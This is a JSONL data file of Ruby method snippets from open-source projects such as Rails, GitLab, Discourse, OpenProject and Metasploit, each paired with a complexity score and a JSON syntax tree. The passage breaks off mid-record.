{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1005,"raw_source":"def test_select_query_method\n    assert_equal [\"id\", \"body\"], posts(:welcome).comments.select(:id, :body).first.attributes.keys\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_query_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"comments\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"first\"]},\"attributes\"]},\"keys\"]}]}]}","id":"5a122e01-e570-4ddd-b8fa-1bbc16838da7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":1155,"raw_source":"def automatic_membership_email_domains_validator\n    return if self.automatic_membership_email_domains.blank?\n\n    domains =\n      Group.get_valid_email_domains(self.automatic_membership_email_domains) do |domain|\n        self.errors.add :base, (I18n.t(\"groups.errors.invalid_domain\", domain: domain))\n      end\n\n    max_domains = SiteSetting.max_automatic_membership_email_domains\n\n    if domains.size > max_domains\n      self.errors.add :base, I18n.t(\"groups.errors.too_many_domains\", max: max_domains)\n    end\n\n    domains.each do |domain|\n      if domain.length > MAX_EMAIL_DOMAIN_LENGTH\n        self.errors.add :base, I18n.t(\"groups.errors.invalid_domain\", domain: domain)\n      end\n    end\n\n    self.automatic_membership_email_domains = domains.join(\"|\")\n  end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"automatic_membership_email_domains_validator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"automatic_membership_email_domains\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"domains\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"get_valid_email_domains\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"automatic_membership_email_domains\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"groups.errors.invalid_domain\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_domains\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_automatic_membership_email_domains\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domains\"]},\"size\"]},\">\",{\"type\":\"lvar\",\"children\":[\"max_domains\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"groups.errors.too_many_domains\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"lvar\",\"children\":[\"max_domains\"]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domains\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_EMAIL_DOMAIN_LENGTH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"groups.errors.invalid_domain\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"automatic_membership_email_domains=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domains\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]}]}","id":"a32e562f-e229-48c4-8886-e24d45829edb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/project.rb","start_line":103,"raw_source":"def sha\n              return if project.nil?\n\n              # with `itself`, we are force-loading the project\n              BatchLoader.for([project.itself, ref_name])\n                         .batch do |project_ref_pairs, loader|\n                project_ref_pairs.uniq.each do |project, ref_name|\n                  loader.call([project, ref_name], project.commit(ref_name).try(:sha))\n                end\n              end\n            end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"for\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"itself\"]},{\"type\":\"send\",\"children\":[null,\"ref_name\"]}]}]},\"batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_ref_pairs\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ref_pairs\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"ref_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"ref_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"commit\",{\"type\":\"lvar\",\"children\":[\"ref_name\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"sha\"]}]}]}]}]}]}]}","id":"64080d55-40d3-4a50-ae57-2ad9880d4e6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/system_note_helper.rb","start_line":56,"raw_source":"def system_note_icon_name(note)\n    if note.system_note_metadata&.action == 'closed' && note.for_merge_request?\n      'merge-request-close'\n    elsif note.system_note_metadata&.action == 'merge' && note.for_merge_request?\n      'mr-system-note-empty'\n    else\n      ICON_NAMES_BY_ACTION[note.system_note_metadata&.action]\n    end\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"system_note_icon_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"system_note_metadata\"]},\"action\"]},\"==\",{\"type\":\"str\",\"children\":[\"closed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"for_merge_request?\"]}]},{\"type\":\"str\",\"children\":[\"merge-request-close\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"system_note_metadata\"]},\"action\"]},\"==\",{\"type\":\"str\",\"children\":[\"merge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"for_merge_request?\"]}]},{\"type\":\"str\",\"children\":[\"mr-system-note-empty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ICON_NAMES_BY_ACTION\"]},\"[]\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"system_note_metadata\"]},\"action\"]}]}]}]}]}","id":"fbab8d64-6a8e-4792-8044-28cb72d21fd6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/subversion.rb","start_line":149,"raw_source":"def properties(path, identifier = nil)\n          # proplist xml output supported in svn 1.5.0 and higher\n          return nil unless client_version_above?([1, 5, 0])\n\n          identifier = (identifier and identifier.to_i > 0) ? identifier.to_i : \"HEAD\"\n          cmd = [\"proplist\", \"--verbose\", \"--xml\", \"#{target(path)}@#{identifier}\"]\n          properties = {}\n          xml_capture(cmd, force_encoding: true) do |doc|\n            doc.xpath(\"/properties/target/property\").each do |prop|\n              properties[prop[\"name\"]] = prop.text\n            end\n          end\n\n          properties\n        end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"properties\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"identifier\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client_version_above?\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[0]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"to_i\"]},{\"type\":\"str\",\"children\":[\"HEAD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"proplist\"]},{\"type\":\"str\",\"children\":[\"--verbose\"]},{\"type\":\"str\",\"children\":[\"--xml\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"properties\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"xml_capture\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force_encoding\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"doc\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"/properties/target/property\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop\"]},\"text\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"properties\"]}]}]}","id":"362cceef-f782-4420-be3f-c5d665e3b922"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/parallel_runner.rb","start_line":47,"raw_source":"def default_paths?\n        paths == Runner::DEFAULT_TEST_PATH_ARGS\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_paths?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paths\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runner\"]},\"DEFAULT_TEST_PATH_ARGS\"]}]}]}","id":"b0d60c15-46f1-4dcb-ba25-ba2754e551c0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/memory_store.rb","start_line":149,"raw_source":"def increment(name, amount = 1, **options)\n        instrument(:increment, name, amount: amount) do\n          modify_value(name, amount, **options)\n        end\n      end","complexity_score":4.35,"ast_json":"{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"amount\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"increment\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"modify_value\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"416c7b94-bb01-49f9-b1f4-1b2563280151"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/referable.rb","start_line":34,"raw_source":"def reference_link_text(from = nil)\n    to_reference(from)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reference_link_text\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"from\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"to_reference\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}","id":"d8c419f0-8385-4484-8860-f5603272dfce"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":301,"raw_source":"def test_model_name\n    assert_equal Blog::Post.model_name, Blog::Post.new.model_name\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_model_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Blog\"]},\"Post\"]},\"model_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Blog\"]},\"Post\"]},\"new\"]},\"model_name\"]}]}]}","id":"7eda8d85-2fc2-4eb7-8277-c619e2795b18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/pipeline_schedules_controller_spec.rb","start_line":556,"raw_source":"def go\n      post :play, params: { namespace_id: project.namespace.to_param, project_id: project, id: pipeline_schedule.id }\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"go\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"play\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_schedule\"]},\"id\"]}]}]}]}]}]}]}","id":"7a289dd5-5e88-4e93-aeef-bd71598e36c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/releases.rb","start_line":5,"raw_source":"def new_release_email(user_id, release, reason = nil)\n      @release = release\n      @project = @release.project\n      @target_url = namespace_project_releases_url(\n        namespace_id: @project.namespace,\n        project_id: @project\n      )\n      @recipient = User.find(user_id)\n\n      add_project_headers\n\n      mail_with_locale(\n        to: @recipient.notification_email_for(@project.group),\n        subject: subject(release_email_subject)\n      )\n    end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_release_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"release\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@release\",{\"type\":\"lvar\",\"children\":[\"release\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@release\"]},\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_url\",{\"type\":\"send\",\"children\":[null,\"namespace_project_releases_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@recipient\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_project_headers\"]},{\"type\":\"send\",\"children\":[null,\"mail_with_locale\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recipient\"]},\"notification_email_for\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"subject\",{\"type\":\"send\",\"children\":[null,\"release_email_subject\"]}]}]}]}]}]}]}","id":"220cdb25-2009-4ddf-8bcc-e9a8384c2807"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_controller.rb","start_line":84,"raw_source":"def realtime_changes\n    Gitlab::PollingInterval.set_header(response, interval: 3_000)\n\n    render json: Import::GithubRealtimeRepoSerializer.new.represent(already_added_projects)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"realtime_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PollingInterval\"]},\"set_header\",{\"type\":\"send\",\"children\":[null,\"response\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"int\",\"children\":[3000]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"GithubRealtimeRepoSerializer\"]},\"new\"]},\"represent\",{\"type\":\"send\",\"children\":[null,\"already_added_projects\"]}]}]}]}]}]}]}","id":"73877005-32df-4ce7-9361-dcbce52ec95b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/hikvision_rtsp_bof.rb","start_line":145,"raw_source":"def rport\n    datastore['RPORT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}","id":"20e48f38-9be8-467a-bce9-b9f4296187be"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/news_controller.rb","start_line":66,"raw_source":"def show\n    @comments = @news.comments\n    @comments.reverse_order if User.current.wants_comments_in_reverse_order?\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@comments\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@news\"]},\"comments\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"wants_comments_in_reverse_order?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comments\"]},\"reverse_order\"]},null]}]}]}","id":"0b4ecb8c-9611-441b-b6d3-e08147d3da7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/application_worker.rb","start_line":183,"raw_source":"def bulk_perform_in(delay, args_list, batch_size: nil, batch_delay: nil)\n      now = Time.now.to_i\n      base_schedule_at = now + delay.to_i\n\n      raise ArgumentError, 'The schedule time must be in the future!' if base_schedule_at <= now\n\n      schedule_at = base_schedule_at\n\n      if batch_size && batch_delay\n        batch_size = batch_size.to_i\n        batch_delay = batch_delay.to_i\n\n        raise ArgumentError, 'batch_size should be greater than 0' unless batch_size > 0\n        raise ArgumentError, 'batch_delay should be greater than 0' unless batch_delay > 0\n\n        # build an array of schedules corresponding to each item in `args_list`\n        bulk_schedule_at = Array.new(args_list.size) do |index|\n          batch_number = index / batch_size\n          base_schedule_at + (batch_number * batch_delay)\n        end\n\n        schedule_at = bulk_schedule_at\n      end\n\n      Gitlab::SidekiqSharding::Router.route(self) do\n        in_safe_limit_batches(args_list, schedule_at) do |args_batch, schedule_at_for_batch|\n          Sidekiq::Client.push_bulk('class' => self, 'args' => args_batch, 'at' => schedule_at_for_batch)\n        end\n      end\n    end","complexity_score":42.1,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_perform_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"delay\"]},{\"type\":\"arg\",\"children\":[\"args_list\"]},{\"type\":\"kwoptarg\",\"children\":[\"batch_size\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"batch_delay\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base_schedule_at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delay\"]},\"to_i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_schedule_at\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"The schedule time must be in the future!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"schedule_at\",{\"type\":\"lvar\",\"children\":[\"base_schedule_at\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_size\"]},{\"type\":\"lvar\",\"children\":[\"batch_delay\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_size\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_delay\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_delay\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"batch_size should be greater than 0\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_delay\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"batch_delay should be greater than 0\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bulk_schedule_at\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args_list\"]},\"size\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_number\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"batch_size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_schedule_at\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_number\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"batch_delay\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"schedule_at\",{\"type\":\"lvar\",\"children\":[\"bulk_schedule_at\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqSharding\"]},\"Router\"]},\"route\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_safe_limit_batches\",{\"type\":\"lvar\",\"children\":[\"args_list\"]},{\"type\":\"lvar\",\"children\":[\"schedule_at\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args_batch\"]},{\"type\":\"arg\",\"children\":[\"schedule_at_for_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"push_bulk\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args_ba